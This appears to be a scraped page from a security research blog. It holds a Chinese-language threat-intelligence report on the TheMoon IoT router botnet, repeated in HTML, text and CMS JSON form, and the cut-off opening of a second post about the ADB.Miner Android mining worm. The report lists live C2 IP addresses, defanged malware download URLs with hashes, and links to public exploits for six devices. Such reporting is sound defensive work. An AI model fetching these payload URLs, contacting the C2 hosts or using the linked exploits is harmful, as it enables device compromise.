通信协议</li> <li>下载服务器：hxxp://78.128.92.137/.nttpd</li> <li>若干硬编码的 NTP IP 地址： <ul> <li>207.46.232.182 (未显式标注)</li> <li>82.68.206.125</li> <li>194.25.252.5</li> <li>129.6.15.28</li> <li>129.6.15.28</li> </ul> </li> <li>若干硬编码的 C2 IP 地址： <ul> <li>185.53.8.22 (未显式标注)</li> <li>185.56.30.189</li> <li>217.79.182.212</li> <li>85.114.135.20</li> <li>95.213.143.220</li> <li>46.148.18.154</li> </ul> </li> </ul> <p>值得一提是，尽管这份恶意代码中集成了 P2P 特性，但相关代码是不成熟的，未能遵循应用密码学最佳实践，存在被接管的可能性。这部分代码特性并未启用，作者与 bot 的通信仍主要主要基于硬编码的 C2 IP<br> 地址。</p> <h4 id="2017themoon">2017年以来我们观测到的 TheMoon 家族</h4> <p>从 2017年4月 以来，我们开始持续观察到 TheMoon 家族。我们监控到的新变化包括：</p> <ul> <li>样本特征：TheMoon 开始使用压缩外壳，提高安全研究人员分析的难度</li> <li>感染手段：集成了至少 6 种 IoT 设备漏洞利用手段，扩大感染基数</li> <li>代理网络：从正向改为反向。感染节点通过咨询上联节点得知需要访问的网页和参数，感染节点上不再直接开放端口。这样我们也无法通过全网扫描的方式来度量僵尸网络的规模。</li> <li>代理流量：代理网络中流传的流量大致分为有明文和密文两部分，流量均不高。明文部分，经人肉筛选，和色情、赌博、挖矿等内容有关，另有一小部分看起来像门户网站；密文部分的流量推测与电商或者在线邮箱有关。时间分布不明显，似乎24小时都有流量发生。</li> <li>P2P 机制：仍然存在，仍然存在被接管可能，仍然没有启用</li> </ul> <p>C2 IP 地址方面，我们累计观察到以下 IP 地址被攻击者以年为单位长期占用：</p> <ul> <li>149.202.211.227</li> <li>173.208.219.26</li> <li>173.208.219.42</li> <li>173.208.219.50</li> <li>173.208.219.58</li> <li>185.53.8.22</li> <li>185.56.30.189</li> <li>185.56.30.189</li> <li>208.110.66.34</li> <li>217.79.182.212</li> <li>46.148.18.154</li> <li>69.197.128.34</li> <li>85.114.135.20</li> <li>91.215.158.118</li> <li>95.213.143.220</li> </ul> <p>值得一提的是之前其他文章中披露的 C2 IP 地址已经被作者放弃使用，但是 185.53.8.22 这个IP地址没有被显式披露，作者就一直使用并未放弃。</p> <p>感染过程中至少使用了6种 IoT 设备漏洞利用，相关的设备类型和漏洞利用如下：</p> <ul> <li>Linksys E-series 的 <a href="https://www.exploit-db.com/exploits/31683/">漏洞利用</a> ，这是 2014 年首次被批露时使用的漏洞</li> <li>ASUS WRT UDP 9999的 <a href="https://github.com/jduck/asus-cmd">漏洞利用</a>，这是 TheMoon从2015年至2017年主要使用的漏洞利用</li> <li>D-Link 850L的 <a href="https://blogs.securiteam.com/index.php/archives/3364">漏洞利用</a></li> <li>D-Link 815的 <a href="https://github.com/Cr0n1c/dlink_shell_poc/blob/master/dlink_auth_rce">漏洞利用</a></li> <li>VIVOTEK Network Cameras的 <a href="http://blog.cal1.cn/post/An%20easy%20way%20to%20pwn%20most%20of%20the%20vivotek%20network%20cameras">漏洞利用</a></li> <li>D-Link DIR-890L D-Link DIR-645的 <a href="http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/">漏洞利用</a></li> </ul> <h4 id="">详细技术分析文档</h4> <p><a href="__GHOST_URL__/file/TheMoon-botnet.pdf">TheMoon-botnet.pdf</a></p> <h4 id="ioc">IoC</h4> <p>样本MD5和下载URL</p> <pre><code>2017-04-02 7bca40bba278b0021a87bcbc35b2e144 hxxp://domstates.su/nmlt1.sh 2017-04-02 70461da8b94c6ca5d2fda3260c5a8c3b hxxp://domstates.su/.nttpd 2017-04-02 c8f17d7403ac5ff2896a713a7175ed19 hxxp://domstates.su/archi.txt 2017-04-06 bc56979a0b381a791dd59713198a87fb hxxp://domstates.su/nmlt1.sh 2017-04-06 bc56979a0b381a791dd59713198a87fb hxxp://domstates.su/archi.txt 2017-04-09 11f060ffd8a87f824c1df3063560bc9e hxxp://domstates.su/.nttpd,19-mips-le-t1 2017-04-09 c0c1d535d5f76c5a69ad6421ff6209fb hxxp://domstates.su/.nttpd,17-mips-be-t2 2017-04-09 4d90e3a14ebb282bcdf3095e377c8d26 hxxp://domstates.su/.nttpd,18-arm-le-t1 2017-08-11 106d9eb6a7c14f4722898b89ccacb17e hxxp://domstates.su/nmlt1.sh 2017-08-11 6f2fabf40ad39a5738e40dbe2c0a1b53 hxxp://domstates.su/.nttpd,20-mips-le-t1 2017-08-11 b731e5136f0ced58618af98c7426d628 hxxp://domstates.su/.nttpd,19-arm-le-t1 2017-10-03 9c79b0a54e70cf0a65ba058e57aee6f1 hxxp://domstates.su/nmlt1.sh 2017-10-03 27002860c26c2298a398c0a8f0093ef6 hxxp://domstates.su/.nttpd,19-arm-le-t1 2017-10-03 54631bbc01b934ee3dbcafdc6055599c hxxp://domstates.su/.nttpd,18-mips-be-t2 2017-10-05 e2673d513125bcae0865ccf0139cef0c hxxp://domstates.su/nmlt1.sh 2017-10-05 b8e16a37997ada06505667575f8577d6 hxxp://domstates.su/.nttpd,19-arm-le-t1 2017-10-05 98c678ee656325b0aee1fe98f2ca6f55 hxxp://domstates.su/.nttpd,18-mips-be-t2 2017-10-09 96219e644bf69ff7359ecc5e9687bcd0 hxxp://domstates.su/nmlt1.sh 2017-10-09 f9d87043d2e99098f35a27237925992f hxxp://domstates.su/.nttpd,20-arm-le-t1-z 2017-10-09 089d304877930d3dfe232a2e98e63f6f hxxp://domstates.su/.nttpd,19-mips-be-t2-z 2017-10-14 275cc8ed50368fa72e46551e41824683 hxxp://domstates.su/nmlt1.sh 2017-10-14 7fa47de462e743607eb9a2f93b7193ce hxxp://domstates.su/.nttpd,20-mips-be-t2-z 2017-10-16 810ea41f35f9fe40855900db9406d7a0 hxxp://domstates.su/nmlt1.sh 2017-10-21 dbf24da7b27c12ae65c98675eb435c81 hxxp://domstates.su/nmlt1.sh 2017-11-12 8ad5b160dd7a976044d6a2dd631efc4b hxxp://domstates.su/nmlt1.sh 2017-11-12 20f9f7ae0c6d385b0bedcdd618c478dc hxxp://domstates.su/.nttpd,21-arm-le-t1-z 2017-11-12 53494b8867654d06ea1b5aec0ed981c1 hxxp://domstates.su/.nttpd,21-mips-be-t2-z 2017-11-12 016cc0097560bbbb07b4891256600eb8 hxxp://domstates.su/d8ug.sh 2017-11-27 2ceb4822e1e0f72e8b88968165d9a99f hxxp://domstates.su/nmlt1.sh 2017-11-27 057d56b7de1e9460bd13c5c6eafd4559 hxxp://domstates.su/.nttpd,21-mips-le-t1 </code></pre> <p>C2 IP</p> <pre><code>149.202.211.227 173.208.219.26 173.208.219.42 173.208.219.50 173.208.219.58 185.53.8.22 185.56.30.189 185.56.30.189 208.110.66.34 217.79.182.212 46.148.18.154 69.197.128.34 85.114.135.20 91.215.158.118 95.213.143.220 </code></pre> <!--kg-card-end: markdown-->

TheMoon 是一个恶意代码家族的代号。早在2014年2月，该恶意代码家族就引起了安全研究人员的普遍关注。在当时，TheMoon是一个针对 Linksys 路由器的、有类似蠕虫式传播行为的僵尸网络。由于其感染传播能力较强，安全社区里的讨论较多。 2014～2017年期间，又陆续有各安全厂商对TheMoon恶意代码家族做了分析。报告反应了当时 TheMoon 家族的演化情况。 从2017年开始，我们也对 TheMoon 家族做了持续跟踪，并注意到以下的新发现： * 感染阶段： TheMoon 集成了最近的一组漏洞利用代码，提高其感染能力； * 运营阶段： TheMoon 的代理网络，由正向代理改为反向代理，避免被安全研究人员探测度量； * 样本特征： TheMoon 开始使用压缩外壳，提高安全研究人员分析的难度 下文仅仅是我们对 TheMoon 恶意代码家族监控结果的概括描述，详细的技术分析文档可见 TheMoon-botnet.pdf 2017年以前的 TheMoon 2014-02-13 ，这是我们能查到的 TheMoon 相关最早记录。当时，SANS 安全研究机构的博士 Johannes B. Ullrich 报告发现 了该恶意代码，并在随后给出了更新 。TheMoon家族的一些关键特点，在最初被发现的这个阶段就已经确定下来了： * 攻击目标：最初是 Linksys E1000 系列路由器，后续发展也是以 IoT 设备、特别是家用路由器为主。设备目标常见是 MIPS 架构 * 蠕虫式的感染传播：被感染的设备，会在一个较短的时间窗口期内提供二进制下载。这种蠕虫式的感染，这使得其传播能力大大增强 * 简单的自我保护：会设定 iptables 规则限制漏洞利用端口的访问，仅允许作者控制的几个IP地址所在地址段访问，减少被其他攻击者利用相同漏洞的风险 * 命名来源：样本文件内嵌了几张图片，加上文件中的一些其他字符串 "lunar", "moon", "planets"，这些共同的信息指向一部2009年的电影 "Moon"，这是这个家族被命名为 TheMoon 的原因。 由于该恶意代码家族被定位是蠕虫，这引起了安全社区的广泛讨论。几天之内，相关的设备漏洞和利用代码就被各大安全厂商收录，例如 securityfocus， packetstormsecurity, flexerasoftware， vulnerabilitycenter， exploit-db， IBM X-force，等等。 2015-07-16，阿里安全的谢君，在 解密“智魁”攻击行动——针对路由器蠕虫攻击事件分析报告 中，分析了该恶意代码家族当时的变种。这个阶段 TheMoon 家族表现出来的新特征包括： * socks代理：开始利用被感染节点搭建 Socks 代理网络；上述代理网络是主动式的，被感染节点上开启的代理节点有特征可循，文章中根据该特征，对全网扫描并给出了度量； * 感染手段：开始使用华硕路由器漏洞 CVE-2014-9583，UDP 9999 ，以及 TP-Link路由器漏洞。2014年版本所使用的原有 Linksys 漏洞仍然在利用。 * 文中还列出了若干打码后的 C2 服务器IP地址 虽然文章中通篇没有提及 TheMoon 的名字，但是恶意代码的二进制特征一致，可以判定是 TheMoon 家族。另外，文章中还将攻击行为追溯到具体人，但是这部分的归因过程没有给出具体分析过程，故而这部分的结论待考。 2016-10-20 Fortinet 的 Bing Liu 在 TheMoon A P2P botnet targeting Home Routers 中分析了当时的 TheMoon 恶意代码变种。文中提及了一些新特性： * P2P 特性：代码中集成了P2P 特性（但不成熟，也未启用） * C2通信协议：详细的分析了恶意代码的 C2 通信协议 * 下载服务器：hxxp://78.128.92.137/.nttpd * 若干硬编码的 NTP IP 地址： * 207.46.232.182 (未显式标注) * 82.68.206.125 * 194.25.252.5 * 129.6.15.28 * 129.6.15.28 * 若干硬编码的 C2 IP 地址： * 185.53.8.22 (未显式标注) * 185.56.30.189 * 217.79.182.212 * 85.114.135.20 * 95.213.143.220 * 46.148.18.154 值得一提是，尽管这份恶意代码中集成了 P2P 特性，但相关代码是不成熟的，未能遵循应用密码学最佳实践，存在被接管的可能性。这部分代码特性并未启用，作者与 bot 的通信仍主要主要基于硬编码的 C2 IP 地址。 2017年以来我们观测到的 TheMoon 家族 从 2017年4月 以来，我们开始持续观察到 TheMoon 家族。我们监控到的新变化包括： * 样本特征：TheMoon 开始使用压缩外壳，提高安全研究人员分析的难度 * 感染手段：集成了至少 6 种 IoT 设备漏洞利用手段，扩大感染基数 * 代理网络：从正向改为反向。感染节点通过咨询上联节点得知需要访问的网页和参数，感染节点上不再直接开放端口。这样我们也无法通过全网扫描的方式来度量僵尸网络的规模。 * 代理流量：代理网络中流传的流量大致分为有明文和密文两部分，流量均不高。明文部分，经人肉筛选，和色情、赌博、挖矿等内容有关，另有一小部分看起来像门户网站；密文部分的流量推测与电商或者在线邮箱有关。时间分布不明显，似乎24小时都有流量发生。 * P2P 机制：仍然存在，仍然存在被接管可能，仍然没有启用 C2 IP 地址方面，我们累计观察到以下 IP 地址被攻击者以年为单位长期占用： * 149.202.211.227 * 173.208.219.26 * 173.208.219.42 * 173.208.219.50 * 173.208.219.58 * 185.53.8.22 * 185.56.30.189 * 185.56.30.189 * 208.110.66.34 * 217.79.182.212 * 46.148.18.154 * 69.197.128.34 * 85.114.135.20 * 91.215.158.118 * 95.213.143.220 值得一提的是之前其他文章中披露的 C2 IP 地址已经被作者放弃使用，但是 185.53.8.22 这个IP地址没有被显式披露，作者就一直使用并未放弃。 感染过程中至少使用了6种 IoT 设备漏洞利用，相关的设备类型和漏洞利用如下： * Linksys E-series 的 漏洞利用 ，这是 2014 年首次被批露时使用的漏洞 * ASUS WRT UDP 9999的 漏洞利用，这是 TheMoon从2015年至2017年主要使用的漏洞利用 * D-Link 850L的 漏洞利用 * D-Link 815的 漏洞利用 * VIVOTEK Network Cameras的 漏洞利用 * D-Link DIR-890L D-Link DIR-645的 漏洞利用 详细技术分析文档 TheMoon-botnet.pdf IoC 样本MD5和下载URL 2017-04-02 7bca40bba278b0021a87bcbc35b2e144 hxxp://domstates.su/nmlt1.sh 2017-04-02 70461da8b94c6ca5d2fda3260c5a8c3b hxxp://domstates.su/.nttpd 2017-04-02 c8f17d7403ac5ff2896a713a7175ed19 hxxp://domstates.su/archi.txt 2017-04-06 bc56979a0b381a791dd59713198a87fb hxxp://domstates.su/nmlt1.sh 2017-04-06 bc56979a0b381a791dd59713198a87fb hxxp://domstates.su/archi.txt 2017-04-09 11f060ffd8a87f824c1df3063560bc9e hxxp://domstates.su/.nttpd,19-mips-le-t1 2017-04-09 c0c1d535d5f76c5a69ad6421ff6209fb hxxp://domstates.su/.nttpd,17-mips-be-t2 2017-04-09 4d90e3a14ebb282bcdf3095e377c8d26 hxxp://domstates.su/.nttpd,18-arm-le-t1 2017-08-11 106d9eb6a7c14f4722898b89ccacb17e hxxp://domstates.su/nmlt1.sh 2017-08-11 6f2fabf40ad39a5738e40dbe2c0a1b53 hxxp://domstates.su/.nttpd,20-mips-le-t1 2017-08-11 b731e5136f0ced58618af98c7426d628 hxxp://domstates.su/.nttpd,19-arm-le-t1 2017-10-03 9c79b0a54e70cf0a65ba058e57aee6f1 hxxp://domstates.su/nmlt1.sh 2017-10-03 27002860c26c2298a398c0a8f0093ef6 hxxp://domstates.su/.nttpd,19-arm-le-t1 2017-10-03 54631bbc01b934ee3dbcafdc6055599c hxxp://domstates.su/.nttpd,18-mips-be-t2 2017-10-05 e2673d513125bcae0865ccf0139cef0c hxxp://domstates.su/nmlt1.sh 2017-10-05 b8e16a37997ada06505667575f8577d6 hxxp://domstates.su/.nttpd,19-arm-le-t1 2017-10-05 98c678ee656325b0aee1fe98f2ca6f55 hxxp://domstates.su/.nttpd,18-mips-be-t2 2017-10-09 96219e644bf69ff7359ecc5e9687bcd0 hxxp://domstates.su/nmlt1.sh 2017-10-09 f9d87043d2e99098f35a27237925992f hxxp://domstates.su/.nttpd,20-arm-le-t1-z 2017-10-09 089d304877930d3dfe232a2e98e63f6f hxxp://domstates.su/.nttpd,19-mips-be-t2-z 2017-10-14 275cc8ed50368fa72e46551e41824683 hxxp://domstates.su/nmlt1.sh 2017-10-14 7fa47de462e743607eb9a2f93b7193ce hxxp://domstates.su/.nttpd,20-mips-be-t2-z 2017-10-16 810ea41f35f9fe40855900db9406d7a0 hxxp://domstates.su/nmlt1.sh 2017-10-21 dbf24da7b27c12ae65c98675eb435c81 hxxp://domstates.su/nmlt1.sh 2017-11-12 8ad5b160dd7a976044d6a2dd631efc4b hxxp://domstates.su/nmlt1.sh 2017-11-12 20f9f7ae0c6d385b0bedcdd618c478dc hxxp://domstates.su/.nttpd,21-arm-le-t1-z 2017-11-12 53494b8867654d06ea1b5aec0ed981c1 hxxp://domstates.su/.nttpd,21-mips-be-t2-z 2017-11-12 016cc0097560bbbb07b4891256600eb8 hxxp://domstates.su/d8ug.sh 2017-11-27 2ceb4822e1e0f72e8b88968165d9a99f hxxp://domstates.su/nmlt1.sh 2017-11-27 057d56b7de1e9460bd13c5c6eafd4559 hxxp://domstates.su/.nttpd,21-mips-le-t1 C2 IP 149.202.211.227 173.208.219.26 173.208.219.42 173.208.219.50 173.208.219.58 185.53.8.22 185.56.30.189 185.56.30.189 208.110.66.34 217.79.182.212 46.148.18.154 69.197.128.34 85.114.135.20 91.215.158.118 95.213.143.220

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"TheMoon 是一个恶意代码家族的代号。早在2014年2月，该恶意代码家族就引起了安全研究人员的普遍关注。在当时，TheMoon是一个针对 Linksys 路由器的、有类似蠕虫式传播行为的僵尸网络。由于其感染传播能力较强，安全社区里的讨论较多。\n\n2014～2017年期间，又陆续有各安全厂商对TheMoon恶意代码家族做了分析。报告反应了当时 TheMoon 家族的演化情况。\n\n从2017年开始，我们也对 TheMoon 家族做了持续跟踪，并注意到以下的新发现：\n\n - 感染阶段： TheMoon 集成了最近的一组漏洞利用代码，提高其感染能力；\n - 运营阶段： TheMoon 的代理网络，由正向代理改为反向代理，避免被安全研究人员探测度量；\n - 样本特征： TheMoon 开始使用压缩外壳，提高安全研究人员分析的难度\n\n下文仅仅是我们对 TheMoon 恶意代码家族监控结果的概括描述，详细的技术分析文档可见 [TheMoon-botnet.pdf](__GHOST_URL__/file/TheMoon-botnet.pdf)\n\n\n#### 2017年以前的 TheMoon\n\n2014-02-13 ，这是我们能查到的 TheMoon 相关最早记录。当时，SANS 安全研究机构的博士 Johannes B. Ullrich [报告发现](https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630) 了该恶意代码，并在随后给出了[更新](https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633) 。TheMoon家族的一些关键特点，在最初被发现的这个阶段就已经确定下来了：\n\n - 攻击目标：最初是 Linksys E1000 系列路由器，后续发展也是以 IoT 设备、特别是家用路由器为主。设备目标常见是 MIPS 架构\n - 蠕虫式的感染传播：被感染的设备，会在一个较短的时间窗口期内提供二进制下载。这种蠕虫式的感染，这使得其传播能力大大增强\n - 简单的自我保护：会设定 iptables 规则限制漏洞利用端口的访问，仅允许作者控制的几个IP地址所在地址段访问，减少被其他攻击者利用相同漏洞的风险\n - 命名来源：样本文件内嵌了几张图片，加上文件中的一些其他字符串 \"lunar\", \"moon\", \"planets\"，这些共同的信息指向一部2009年的电影 [\"Moon\"](http://www.imdb.com/title/tt1182345/)，这是这个家族被命名为 TheMoon 的原因。\n\n由于该恶意代码家族被定位是蠕虫，这引起了安全社区的广泛讨论。几天之内，相关的设备漏洞和利用代码就被各大安全厂商收录，例如 [securityfocus](https://www.securityfocus.com/bid/65585)， [packetstormsecurity](https://packetstormsecurity.com/files/125253), [flexerasoftware](https://secuniaresearch.flexerasoftware.com/advisories/56994)， [vulnerabilitycenter](https://www.vulnerabilitycenter.com/#!vul=43986)， [exploit-db](https://www.exploit-db.com/exploits/31683/)， [IBM X-force](https://exchange.xforce.ibmcloud.com/vulnerabilities/91196?spm=0.0.0.0.SsE6B5)，等等。\n\n2015-07-16，阿里安全的谢君，在 [\n解密“智魁”攻击行动——针对路由器蠕虫攻击事件分析报告](https://security.alibaba.com/blog/blog?id=26&type=security) 中，分析了该恶意代码家族当时的变种。这个阶段 TheMoon 家族表现出来的新特征包括：\n\n - socks代理：开始利用被感染节点搭建 Socks 代理网络；上述代理网络是主动式的，被感染节点上开启的代理节点有特征可循，文章中根据该特征，对全网扫描并给出了度量；\n - 感染手段：开始使用华硕路由器漏洞 [CVE-2014-9583](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9583)，UDP 9999 ，以及 [TP-Link路由器漏洞](https://sekurak.pl/tp-link-httptftp-backdoor/?spm=0.0.0.0.aOpRH8)。2014年版本所使用的原有 Linksys 漏洞仍然在利用。\n - 文中还列出了若干打码后的 C2 服务器IP地址\n\n虽然文章中通篇没有提及 TheMoon 的名字，但是恶意代码的二进制特征一致，可以判定是 TheMoon 家族。另外，文章中还将攻击行为追溯到具体人，但是这部分的归因过程没有给出具体分析过程，故而这部分的结论待考。\n\n2016-10-20 Fortinet 的 Bing Liu 在 [TheMoon A P2P botnet targeting Home Routers](https://blog.fortinet.com/2016/10/20/themoon-a-p2p-botnet-targeting-home-routers) 中分析了当时的 TheMoon 恶意代码变种。文中提及了一些新特性：\n\n - P2P 特性：代码中集成了P2P 特性（但不成熟，也未启用）\n - C2通信协议：详细的分析了恶意代码的 C2 通信协议\n - 下载服务器：hxxp://78.128.92.137/.nttpd\n - 若干硬编码的 NTP IP 地址： \n - 207.46.232.182 (未显式标注)\n - 82.68.206.125\n - 194.25.252.5\n - 129.6.15.28\n - 129.6.15.28\n - 若干硬编码的 C2 IP 地址：\n - 185.53.8.22 (未显式标注)\n - 185.56.30.189\n - 217.79.182.212\n - 85.114.135.20\n - 95.213.143.220\n - 46.148.18.154\n\n\n值得一提是，尽管这份恶意代码中集成了 P2P 特性，但相关代码是不成熟的，未能遵循应用密码学最佳实践，存在被接管的可能性。这部分代码特性并未启用，作者与 bot 的通信仍主要主要基于硬编码的 C2 IP\n地址。\n\n#### 2017年以来我们观测到的 TheMoon 家族\n\n从 2017年4月 以来，我们开始持续观察到 TheMoon 家族。我们监控到的新变化包括：\n\n - 样本特征：TheMoon 开始使用压缩外壳，提高安全研究人员分析的难度\n - 感染手段：集成了至少 6 种 IoT 设备漏洞利用手段，扩大感染基数\n - 代理网络：从正向改为反向。感染节点通过咨询上联节点得知需要访问的网页和参数，感染节点上不再直接开放端口。这样我们也无法通过全网扫描的方式来度量僵尸网络的规模。\n - 代理流量：代理网络中流传的流量大致分为有明文和密文两部分，流量均不高。明文部分，经人肉筛选，和色情、赌博、挖矿等内容有关，另有一小部分看起来像门户网站；密文部分的流量推测与电商或者在线邮箱有关。时间分布不明显，似乎24小时都有流量发生。\n - P2P 机制：仍然存在，仍然存在被接管可能，仍然没有启用\n\nC2 IP 地址方面，我们累计观察到以下 IP 地址被攻击者以年为单位长期占用：\n\n - 149.202.211.227\n - 173.208.219.26\n - 173.208.219.42\n - 173.208.219.50\n - 173.208.219.58\n - 185.53.8.22\n - 185.56.30.189\n - 185.56.30.189\n - 208.110.66.34\n - 217.79.182.212\n - 46.148.18.154\n - 69.197.128.34\n - 85.114.135.20\n - 91.215.158.118\n - 95.213.143.220\n\n值得一提的是之前其他文章中披露的 C2 IP 地址已经被作者放弃使用，但是 185.53.8.22 这个IP地址没有被显式披露，作者就一直使用并未放弃。\n\n感染过程中至少使用了6种 IoT 设备漏洞利用，相关的设备类型和漏洞利用如下：\n\n\n - Linksys E-series 的 [漏洞利用](https://www.exploit-db.com/exploits/31683/) ，这是 2014 年首次被批露时使用的漏洞\n - ASUS WRT UDP 9999的 [漏洞利用](https://github.com/jduck/asus-cmd)，这是 TheMoon从2015年至2017年主要使用的漏洞利用\n - D-Link 850L的 [漏洞利用](https://blogs.securiteam.com/index.php/archives/3364)\n - D-Link 815的 [漏洞利用](https://github.com/Cr0n1c/dlink_shell_poc/blob/master/dlink_auth_rce)\n - VIVOTEK Network Cameras的 [漏洞利用](http://blog.cal1.cn/post/An%20easy%20way%20to%20pwn%20most%20of%20the%20vivotek%20network%20cameras)\n - D-Link DIR-890L D-Link DIR-645的 [漏洞利用](http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/)\n\n#### 详细技术分析文档\n\n [TheMoon-botnet.pdf](__GHOST_URL__/file/TheMoon-botnet.pdf)\n\n#### IoC\n样本MD5和下载URL\n\n```\n2017-04-02 7bca40bba278b0021a87bcbc35b2e144 hxxp://domstates.su/nmlt1.sh\n2017-04-02 70461da8b94c6ca5d2fda3260c5a8c3b hxxp://domstates.su/.nttpd\n2017-04-02 c8f17d7403ac5ff2896a713a7175ed19 hxxp://domstates.su/archi.txt\n2017-04-06 bc56979a0b381a791dd59713198a87fb hxxp://domstates.su/nmlt1.sh\n2017-04-06 bc56979a0b381a791dd59713198a87fb hxxp://domstates.su/archi.txt\n2017-04-09 11f060ffd8a87f824c1df3063560bc9e hxxp://domstates.su/.nttpd,19-mips-le-t1\n2017-04-09 c0c1d535d5f76c5a69ad6421ff6209fb hxxp://domstates.su/.nttpd,17-mips-be-t2\n2017-04-09 4d90e3a14ebb282bcdf3095e377c8d26 hxxp://domstates.su/.nttpd,18-arm-le-t1 \n2017-08-11 106d9eb6a7c14f4722898b89ccacb17e hxxp://domstates.su/nmlt1.sh\n2017-08-11 6f2fabf40ad39a5738e40dbe2c0a1b53 hxxp://domstates.su/.nttpd,20-mips-le-t1\n2017-08-11 b731e5136f0ced58618af98c7426d628 hxxp://domstates.su/.nttpd,19-arm-le-t1 \n2017-10-03 9c79b0a54e70cf0a65ba058e57aee6f1 hxxp://domstates.su/nmlt1.sh\n2017-10-03 27002860c26c2298a398c0a8f0093ef6 hxxp://domstates.su/.nttpd,19-arm-le-t1 \n2017-10-03 54631bbc01b934ee3dbcafdc6055599c hxxp://domstates.su/.nttpd,18-mips-be-t2\n2017-10-05 e2673d513125bcae0865ccf0139cef0c hxxp://domstates.su/nmlt1.sh\n2017-10-05 b8e16a37997ada06505667575f8577d6 hxxp://domstates.su/.nttpd,19-arm-le-t1 \n2017-10-05 98c678ee656325b0aee1fe98f2ca6f55 hxxp://domstates.su/.nttpd,18-mips-be-t2\n2017-10-09 96219e644bf69ff7359ecc5e9687bcd0 hxxp://domstates.su/nmlt1.sh\n2017-10-09 f9d87043d2e99098f35a27237925992f hxxp://domstates.su/.nttpd,20-arm-le-t1-z\n2017-10-09 089d304877930d3dfe232a2e98e63f6f hxxp://domstates.su/.nttpd,19-mips-be-t2-z\n2017-10-14 275cc8ed50368fa72e46551e41824683 hxxp://domstates.su/nmlt1.sh\n2017-10-14 7fa47de462e743607eb9a2f93b7193ce hxxp://domstates.su/.nttpd,20-mips-be-t2-z\n2017-10-16 810ea41f35f9fe40855900db9406d7a0 hxxp://domstates.su/nmlt1.sh\n2017-10-21 dbf24da7b27c12ae65c98675eb435c81 hxxp://domstates.su/nmlt1.sh\n2017-11-12 8ad5b160dd7a976044d6a2dd631efc4b hxxp://domstates.su/nmlt1.sh\n2017-11-12 20f9f7ae0c6d385b0bedcdd618c478dc hxxp://domstates.su/.nttpd,21-arm-le-t1-z\n2017-11-12 53494b8867654d06ea1b5aec0ed981c1 hxxp://domstates.su/.nttpd,21-mips-be-t2-z\n2017-11-12 016cc0097560bbbb07b4891256600eb8 hxxp://domstates.su/d8ug.sh \n2017-11-27 2ceb4822e1e0f72e8b88968165d9a99f hxxp://domstates.su/nmlt1.sh\n2017-11-27 057d56b7de1e9460bd13c5c6eafd4559 hxxp://domstates.su/.nttpd,21-mips-le-t1\n\n```\n\nC2 IP\n```\n149.202.211.227\n173.208.219.26\n173.208.219.42\n173.208.219.50\n173.208.219.58\n185.53.8.22\n185.56.30.189\n185.56.30.189\n208.110.66.34\n217.79.182.212\n46.148.18.154\n69.197.128.34\n85.114.135.20\n91.215.158.118\n95.213.143.220\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

86

post

2018-02-04T04:43:43.000Z

63873b9a8b1c1e0007f52f0b

early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading

2018-10-06T09:03:12.000Z

public

published

2018-02-04T07:46:02.000Z

ADB.Miner：恶意代码正在利用开放了ADB 接口的安卓设备挖矿

<!--kg-card-begin: markdown--><p>作者：Hui Wang, RootKiter,<br> <a href="https://twitter.com/360Netlab">twitter/360Netlab</a></p> <p>大约24小时前，从 2018-02-03 15:00 开始，一组恶意代码开始蠕虫式快速传播，我们分析了这个安全威胁，一些快速的结果如下：</p> <ul> <li><strong>传播时间</strong>：最早的感染时间可以回溯到 1月31日附近。当前这波蠕虫式感染从 2018-02-03 下午 15：00 附近开始被我们的系统检测到，目前仍在持续增长。</li> <li><strong>感染端口</strong>：5555，是安卓设备上 adb 调试接口的工作端口，这个端口正常应该被关闭，但未知原因导致部分设备错误的打开了该端口</li> <li><strong>蠕虫式感染</strong>：恶意代码在完成植入后，会继续扫描 5555 adb 端口，完成自身的传播</li> <li><strong>感染设备型号</strong>：目前能够确认的设备型号见后，大部分是智能手机，以及智能电视机顶盒</li> <li><strong>感染设备数量</strong>：2.75 ~ 5k，主要分布在中国（~40%）和韩国（~30%）</li> </ul> <p>另外，恶意代码复用了 mirai 在扫描阶段的代码，这是我们首次看到 mirai 代码被安卓蠕虫复用</p> <p>总体而言，我们认为有基于 android 系统 adb 调试接口的恶意代码目前正在蠕虫式积极传播，24小时内已经感染了超过5千台设备。</p> <h4 id="5555">端口 5555 上的感染趋势</h4> <p>从 2018-02-03 晚间开始，我们检测到端口 5555 上的扫描流量正在快速增长，如下：</p> <p><img src="__GHOST_URL__/content/images/2018/02/5555_scanning_trend.png" alt="" loading="lazy"></p> <p>如上图所见，5555 端口上的扫描流量从下午15：00附近，开始达到日常背景数据的3倍，24：00附近到达10倍。到目前未知，发起扫描的IP数量和总扫描流量，都仍然在持续增长中。</p> <p>如下图所示，当前 5555 端口扫描流量已经排入所有端口的前十。上一次我们看到一个全新端口排入前十，是2016年9月期间，mirai僵尸网络开始组建其僵尸网络。<br> <img src="__GHOST_URL__/content/images/2018/02/scanned_port_top10.png" alt="" loading="lazy"></p> <p>5555 端口上扫描来源的独立IP地址，按照不同口径统计，有2.75 ~ 5.5k，这个数字正在快速增长中，两个来源的情况见后：</p> <ul> <li>来自 <a href="http://scan.netlab.360.com/">scanmon</a>的统计数字： 2.75k，主要来自中国（40%）和韩国（31%）。</li> <li>来自我们的僵尸网络跟踪系统的统计数字： 5.5k</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/02/scanner_are_from_China_and_Korea.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/02/scanner_from_botnetmon.png" alt="" loading="lazy"></p> <h4 id="adb">受感染设备主要是各厂商开放了 adb 调试接口的安卓设备</h4> <p>受感染设备正在积极的尝试投递恶意代码。我们从这些恶意代码中分析发现，大部分来源设备基于 android 操作系统。</p> <p>具体被感染设备机型暂时不予公开，目前看，因为各主要厂商均涉及，并且同时涉及智能手机和智能电视（电视机顶盒？），我们倾向排除厂商级别漏洞的可能性。</p> <h4 id="">恶意代码在利用这些设备挖矿</h4> <p>相关的恶意代码有一组，其中 xmrig 相关恶意样本会参与挖取 XMR 代币。相关的配置有两组，基于两个不同矿池，但是共享了同一个钱包地址：</p> <ul> 